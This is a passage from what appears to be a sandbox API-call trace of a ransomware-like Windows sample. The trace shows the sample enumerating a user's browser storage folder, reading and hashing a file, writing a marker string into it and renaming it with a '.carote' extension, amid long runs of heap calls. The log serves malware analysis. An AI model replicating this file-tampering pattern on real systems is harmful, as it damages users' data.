ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0114.616] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0114.616] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.616] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.616] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.616] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0114.617] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0114.617] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0114.617] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.617] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.617] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.617] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.617] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.617] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.617] PathFindFileNameW (pszPath="") returned="" [0114.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.617] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.617] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0114.617] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0114.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.618] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=13) returned 1 [0114.618] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.619] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.619] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xd, lpOverlapped=0x0) returned 1 [0114.620] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.620] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.620] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.620] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0114.621] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.621] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.621] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.621] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.621] GetLastError () returned 0x0 [0114.621] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.621] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0114.621] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.622] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.622] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.622] CloseHandle (hObject=0x61c) returned 1 [0114.622] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.carote")) returned 1 [0114.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.623] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.624] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0114.624] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20bf0 | out: hHeap=0x5010000) returned 1 [0114.624] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20bf0 [0114.624] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 